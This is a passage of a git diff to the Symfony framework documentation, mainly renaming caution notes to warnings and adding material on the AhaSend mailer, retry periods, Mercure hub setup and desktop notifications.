-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
diff --git a/http_client.rst b/http_client.rst
index bf64026b946..30379f9a3b3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1064,7 +1064,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
 the remote server support it.
 
-.. caution::
+.. warning::
 
     If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
     decompression yourself.
@@ -2332,15 +2332,15 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
-            self::assertContains(
+            $this->assertSame('POST', $mockResponse->getRequestMethod());
+            $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            $this->assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']
             );
-            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+            $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            self::assertSame($responseData, $expectedResponseData);
+            $this->assertSame($expectedResponseData, $responseData);
         }
     }
 
@@ -2355,11 +2355,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to
 test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
-    use PHPUnit\Framework\TestCase;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    final class ExternalArticleServiceTest extends TestCase
+    final class ExternalArticleServiceTest extends KernelTestCase
     {
         public function testSubmitData(): void
         {
@@ -2373,7 +2373,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame($responseData, 'the expected response');
+            $this->assertSame('the expected response', $responseData);
         }
     }
 
diff --git a/lock.rst b/lock.rst
index d70f1d5535b..82ec48db572 100644
--- a/lock.rst
+++ b/lock.rst
@@ -189,7 +189,7 @@ To lock the default resource, autowire the lock factory using
         }
     }
 
-.. caution::
+.. warning::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
     multiple times inside the same process. When several services use the
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 9ad3a2f054c..3cac1d01ba5 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the
             }
         };
 
-.. caution::
+.. warning::
 
     The ``channels`` configuration only works for top-level handlers. Handlers
     that are nested inside a group, buffer, filter, fingers crossed or other
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 810abdd5b9f..ee9fb16c01c 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler->excludedHttpCode()->code(404);
         };
 
-.. caution::
+.. warning::
 
     Combining ``excluded_http_codes`` with a ``passthru_level`` lower than
     ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
diff --git a/mailer.rst b/mailer.rst
index d2136839ad0..e5d646d5aa2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
-.. caution::
+.. warning::
 
     If the username, password or host contain any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -82,7 +82,7 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
 ============  ========================================  ==============================================================
 
-.. caution::
+.. warning::
 
     When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
     command, you won't have error reporting and ``Bcc`` headers won't be removed.
@@ -100,6 +100,7 @@ via a third-party provider:
 ===================== =============================================== ===============
 Service               Install with                                    Webhook support
 ===================== =============================================== ===============
+`AhaSend`_            ``composer require symfony/aha-send-mailer``    yes
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Azure`_              ``composer require symfony/azure-mailer``
 `Brevo`_              ``composer require symfony/brevo-mailer``       yes
@@ -108,7 +109,7 @@ Service               Install with                                    Webhook su
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer`` yes
 `Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``   yes
 `Postal`_             ``composer require symfony/postal-mailer``
@@ -127,6 +128,10 @@ Service               Install with                                    Webhook su
 
     The Mailomat, Mailtrap, Postal and Sweego integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The AhaSend integration was introduced in Symfony 7.3.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -175,6 +180,10 @@ party provider:
 +------------------------+---------------------------------------------------------+
 | Provider               | Formats                                                 |
 +========================+=========================================================+
+| `AhaSend`_             | - API ``ahasend+api://KEY@default``                     |
+|                        | - HTTP n/a                                              |
+|                        | - SMTP ``ahasend+smtp://USERNAME:PASSWORD@default``     |
++------------------------+---------------------------------------------------------+
 | `Amazon SES`_          | - SMTP ``ses+smtp://USERNAME:PASSWORD@default``         |
 |                        | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default``    |
 |                        | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default``       |
@@ -246,20 +255,20 @@ party provider:
 |                        | - API ``sweego+api://API_KEY@default``                  |
 +------------------------+---------------------------------------------------------+
 
-.. caution::
+.. warning::
 
     If your credentials contain special characters, you must URL-encode them.
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
+.. warning::
 
     If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. caution::
+.. warning::
 
     If you send custom headers when using the `Amazon SES`_ transport (to receive
     them later via a webhook), make sure to use the ``ses+https`` provider because
@@ -331,6 +340,17 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 Load Balancing
 ~~~~~~~~~~~~~~
 
@@ -351,6 +371,17 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -385,7 +416,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
-.. caution::
+.. warning::
 
     It's not recommended to disable TLS while connecting to an SMTP server over
     the Internet, but it can be useful when both the application and the SMTP
@@ -560,17 +591,17 @@ both strings or address objects::
         // ...
     ;
 
-.. versionadded:: 7.2
-
-    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
-    was introduced in Symfony 7.2.
-
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
     :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. note::
 
     The local part of the address (what goes before the ``@``) can include UTF-8
@@ -795,7 +826,7 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. caution::
+.. warning::
 
     Some third-party providers don't support the usage of keywords like ``from``
     in the ``headers``. Check out your provider's documentation before setting
@@ -1218,7 +1249,7 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
-.. caution::
+.. warning::
 
     Signing and encrypting messages require their contents to be fully rendered.
     For example, the content of :ref:`templated emails <mailer-twig>` is rendered
@@ -1243,7 +1274,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
-.. caution::
+.. warning::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
     message. If you need to send a message to multiple recipients, you need
@@ -1991,6 +2022,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
    following the redirection and the message will be lost from the mailer event
    handler.
 
+.. _`AhaSend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/AhaSend/README.md
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`Azure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Azure/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
diff --git a/mercure.rst b/mercure.rst
index f80e3fa4bad..f37c40ddee7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -48,13 +48,28 @@ Run this command to install the Mercure support:
 
     $ composer require mercure
 
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
+
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
+.. raw:: html
+
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
+
+In production, you have to install a Mercure hub by yourself.
+An official and open source (AGPL) hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
 Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
-:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
@@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option.
 
     $ symfony server:start --no-tls -d
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
-
-.. raw:: html
-
-    <object data="_images/mercure/hub.svg" type="image/svg+xml"
-        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
-    ></object>
-
-If you use the Docker integration, a hub is already up and running,
-and you can go straight to the next section.
-
-Otherwise, and in production, you have to install a hub by yourself.
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
+If you use the Docker integration, a hub is already up and running.
 
 Configuration
 -------------
@@ -131,11 +130,12 @@ MercureBundle provides a more advanced configuration:
         mercure:
             hubs:
                 default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
+                    url: '%env(string:MERCURE_URL)%'
+                    public_url: '%env(string:MERCURE_PUBLIC_URL)%'
                     jwt:
-                        secret: '!ChangeThisMercureHubJWTSecretKey!'
-                        publish: ['foo', 'https://example.com/foo']
-                        subscribe: ['bar', 'https://example.com/bar']
+                        secret: '%env(string:MERCURE_JWT_SECRET)%'
+                        publish: ['https://example.com/foo1', 'https://example.com/foo2']
+                        subscribe: ['https://example.com/bar1', 'https://example.com/bar2']
                         algorithm: 'hmac.sha256'
                         provider: 'My\Provider'
                         factory: 'My\Factory'
@@ -148,19 +148,20 @@ MercureBundle provides a more advanced configuration:
         <config>
             <hub
                 name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
+                url="%env(string:MERCURE_URL)%"
+                public_url="%env(string:MERCURE_PUBLIC_URL)%"
+            > <!-- public_url defaults to url -->
                 <jwt
-                    secret="!ChangeThisMercureHubJWTSecretKey!"
+                    secret="%env(string:MERCURE_JWT_SECRET)%"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
                     value="my.jwt"
                 >
-                    <publish>foo</publish>
-                    <publish>https://example.com/foo</publish>
-                    <subscribe>bar</subscribe>
-                    <subscribe>https://example.com/bar</subscribe>
+                    <publish>https://example.com/foo1</publish>
+                    <publish>https://example.com/foo2</publish>
+                    <subscribe>https://example.com/bar1</subscribe>
+                    <subscribe>https://example.com/bar2</subscribe>
                 </jwt>
             </hub>
         </config>
@@ -171,11 +172,12 @@ MercureBundle provides a more advanced configuration:
         $container->loadFromExtension('mercure', [
             'hubs' => [
                 'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'url' => '%env(string:MERCURE_URL)%',
+                    'public_url' => '%env(string:MERCURE_PUBLIC_URL)%',
                     'jwt' => [
-                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
-                        'publish' => ['foo', 'https://example.com/foo'],
-                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'secret' => '%env(string:MERCURE_JWT_SECRET)%',
+                        'publish' => ['https://example.com/foo1', 'https://example.com/foo2'],
+                        'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'],
                         'algorithm' => 'hmac.sha256',
                         'provider' => 'My\Provider',
                         'factory' => 'My\Factory',
@@ -309,22 +311,16 @@ as patterns:
 
 .. tip::
 
-    Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
-    the received events:
+    Test if a URI Template matches a URL using `the online debugger`_
 
-    .. image:: /_images/mercure/chrome.png
-        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
-
-    To use it:
+.. tip::
 
-    * open the DevTools
-    * select the "Network" tab
-    * click on the request to the Mercure hub
-    * click on the "EventStream" sub-tab.
+    Google Chrome features a practical UI to display the received events:
 
-.. tip::
+    .. image:: /_images/mercure/chrome.png
+        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
-    Test if a URI Template match a URL using `the online debugger`_
+    In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab.
 
 Discovery
 ---------
@@ -446,7 +442,7 @@ Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
-.. caution::
+.. warning::
 
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
@@ -677,7 +673,7 @@ sent:
         mercure.hub.default:
             class: App\Tests\Functional\Stub\HubStub
 
-As MercureBundle support multiple hubs, you may have to replace
+As MercureBundle supports multiple hubs, you may have to replace
 the other service definitions accordingly.
 
 .. tip::
@@ -691,8 +687,6 @@ Debugging
 
     The WebProfiler panel was introduced in MercureBundle 0.2.
 
-Enable the panel in your configuration, as follows:
-
 MercureBundle is shipped with a debug panel. Install the Debug pack to
 enable it::
 
@@ -767,7 +761,6 @@ Going further
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
diff --git a/messenger.rst b/messenger.rst
index 74f7d792436..0965cbc9170 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -783,7 +783,7 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-.. caution::
+.. warning::
 
     During a deployment, something might be unavailable (e.g. the
     database) causing the consumer to fail to start. In this situation,
@@ -958,7 +958,7 @@ Rate Limited Transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
 Sometimes you might need to rate limit your message worker. You can configure a
-rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`)
 by setting its ``rate_limiter`` option:
 
 .. configuration-block::
@@ -1005,7 +1005,7 @@ by setting its ``rate_limiter`` option:
             ;
         };
 
-.. caution::
+.. warning::
 
     When a rate limiter is configured on a transport, it will block the whole
     worker when the limit is hit. You should make sure you configure a dedicated
@@ -1134,6 +1134,15 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
+You can define a custom retry delay (e.g., to use the value from the ``Retry-After``
+header in an HTTP response) by setting the ``retryDelay`` argument in the
+constructor of the ``RecoverableMessageHandlingException``.
+
+.. versionadded:: 7.2
+
+    The ``retryDelay`` argument and the ``getRetryDelay()`` method were introduced
+    in Symfony 7.2.
+
 .. _messenger-failure-transport:
 
 Saving & Retrying Failed Messages
@@ -1513,7 +1522,7 @@ The transport has a number of options:
     (no description available)
 
 ``sasl_method``
-
+    (no description available)
 
 ``connection_name``
     For custom connection names (requires at least version 1.10 of the PHP AMQP
@@ -1576,7 +1585,7 @@ your Envelope::
         new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
-.. caution::
+.. warning::
 
     The consumers do not show up in an admin panel as this transport does not rely on
     ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes
@@ -1627,12 +1636,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. caution::
-
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
-
 The transport has a number of options:
 
 ``table_name`` (default: ``messenger_messages``)
@@ -1821,7 +1824,7 @@ under the transport in ``messenger.yaml``:
                                 verify_peer: true
                                 verify_peer_name: true
 
-.. caution::
+.. warning::
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
@@ -2687,7 +2690,7 @@ That's it! You can now consume each transport:
 
     $ php bin/console messenger:consume async_priority_normal -vv
 
-.. caution::
+.. warning::
 
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
diff --git a/notifier.rst b/notifier.rst
index 144044ebe3e..090f4db2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -33,8 +33,14 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
-* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and
+  browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications
+  on the same host machine.
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
 
 .. _notifier-sms-channel:
 
@@ -46,7 +52,7 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -70,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
@@ -230,6 +236,10 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since
@@ -333,7 +343,7 @@ information such as the message ID and the original message contents.
 Chat Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -382,7 +392,7 @@ Service                                  Package                               D
     The ``Gitter`` integration was removed in Symfony 7.2 because that service
     no longer provides an API.
 
-.. caution::
+.. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
     the notifications will be sent through the MessageBus. If you don't have a
@@ -552,7 +562,7 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -635,9 +645,9 @@ configure the ``texter_transports``:
 Desktop Channel
 ~~~~~~~~~~~~~~~
 
-The desktop channel is used to display desktop notifications on the same host machine using
-:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
-is integrated with the following providers:
+The desktop channel is used to display local desktop notifications on the same
+host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
+Symfony is integrated with the following providers:
 
 ===============  ====================================  ==============================================================================
 Provider         Package                               DSN
@@ -645,18 +655,23 @@ Provider         Package                               DSN
 `JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded: 7.2
+.. versionadded:: 7.2
 
     The JoliNotif bridge was introduced in Symfony 7.2.
 
-To enable a texter, add the correct DSN in your ``.env`` file and
-configure the ``texter_transports``:
+If you are using :ref:`Symfony Flex <symfony-flex>`, installing that package will
+also create the necessary environment variable and configuration. Otherwise, you'll
+need to add the following manually:
+
+1) Add the correct DSN in your ``.env`` file:
 
 .. code-block:: bash
 
     # .env
     JOLINOTIF=jolinotif://default
 
+2) Update the Notifier configuration to add a new texter transport:
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -699,9 +714,49 @@ configure the ``texter_transports``:
             ;
         };
 
-.. versionadded:: 7.2
+Now you can send notifications to your desktop as follows::
 
-    The ``Desktop`` channel was introduced in Symfony 7.2.
+    // src/Notifier/SomeService.php
+    use Symfony\Component\Notifier\Message\DesktopMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    // ...
+
+    class SomeService
+    {
+        public function __construct(
+            private TexterInterface $texter,
+        ) {
+        }
+
+        public function notifyNewSubscriber(User $user): void
+        {
+            $message = new DesktopMessage(
+                'New subscription! 🎉',
+                sprintf('%s is a new subscriber', $user->getFullName())
+            );
+
+            $texter->send($message);
+        }
+    }
+
+These notifications can be customized further, and depending on your operating system,
+they may support features like custom sounds, icons, and more::
+
+    use Symfony\Component\Notifier\Bridge\JoliNotif\JoliNotifOptions;
+    // ...
+
+    $options = (new JoliNotifOptions())
+        ->setIconPath('/path/to/icons/error.png')
+        ->setExtraOption('sound', 'sosumi')
+        ->setExtraOption('url', 'https://example.com');
+
+    $message = new DesktopMessage('Production is down', <<<CONTENT
+        ❌ Server prod-1 down
+        ❌ Server prod-2 down
+        ✅ Network is up
+        CONTENT, $options);
+
+    $texter->send($message);
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/profiler.rst b/profiler.rst
index 717094bff31..57d412472ba 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -303,13 +303,13 @@ These are the method that you can define in the data collector class:
     from ``AbstractDataCollector``). If you need some services to collect the
     data, inject those services in the data collector constructor.
 
-    .. caution::
+    .. warning::
 
         The ``collect()`` method is only called once. It is not used to "gather"
         data but is there to "pick up" the data that has been stored by your
         service.
 
-    .. caution::
+    .. warning::
 
         As the profiler serializes data collector instances, you should not
         store objects that cannot be serialized (like PDO objects) or you need
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 19a27b71793..a8399dafe28 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -33,7 +33,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireIterator <service-locator_autowire-iterator>`
+* :ref:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireMethodOf <autowiring_closures>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
@@ -106,16 +106,18 @@ Security
 * :ref:`IsCsrfTokenValid <csrf-controller-attributes>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
+.. _reference-attributes-serializer:
+
 Serializer
 ~~~~~~~~~~
 
-* :ref:`Context <serializer_serializer-context>`
+* :ref:`Context <serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-attributes>`
+* :ref:`Groups <serializer-groups-attribute>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
-* :ref:`SerializedName <serializer_name-conversion>`
-* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+* :ref:`SerializedName <serializer-name-conversion>`
+* :ref:`SerializedPath <serializer-nested-structures>`
 
 Twig
 ~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53edf220642..4ce41c3615d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -175,7 +175,7 @@ named ``kernel.http_method_override``.
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
     Symfony forms.
 
-.. caution::
+.. warning::
 
     If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
     with this option, the kernel will ignore the ``_method`` parameter,
@@ -193,8 +193,6 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
-.. _configuration-framework-http_method_override:
-
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2941,11 +2939,11 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using `PHP attributes`_.
+Enables support for `PHP attributes`_ in the serializer component.
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
 .. _reference-serializer-name_converter:
 
@@ -2961,8 +2959,7 @@ value.
 
 .. seealso::
 
-    For more information, see
-    :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`.
+    For more information, see :ref:`serializer-name-conversion`.
 
 .. _reference-serializer-circular_reference_handler:
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f0b11f47064..93c65621999 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd``
 
-.. caution::
+.. warning::
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 3f05e5eac25..6cde4a11bac 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,18 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``strict``
+**type**: ``string`` **default**: ``Bic::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated:
+This option defines how the BIC is validated. The possible values are available
+as constants in the :class:`Symfony\\Component\\Validator\\Constraints\\Bic` class:
 
-* ``strict`` validates the given value without any modification;
-* ``case-insensitive`` converts the given value to uppercase before validating it.
-
-.. tip::
-
-    The possible values of this option are also defined as PHP constants of
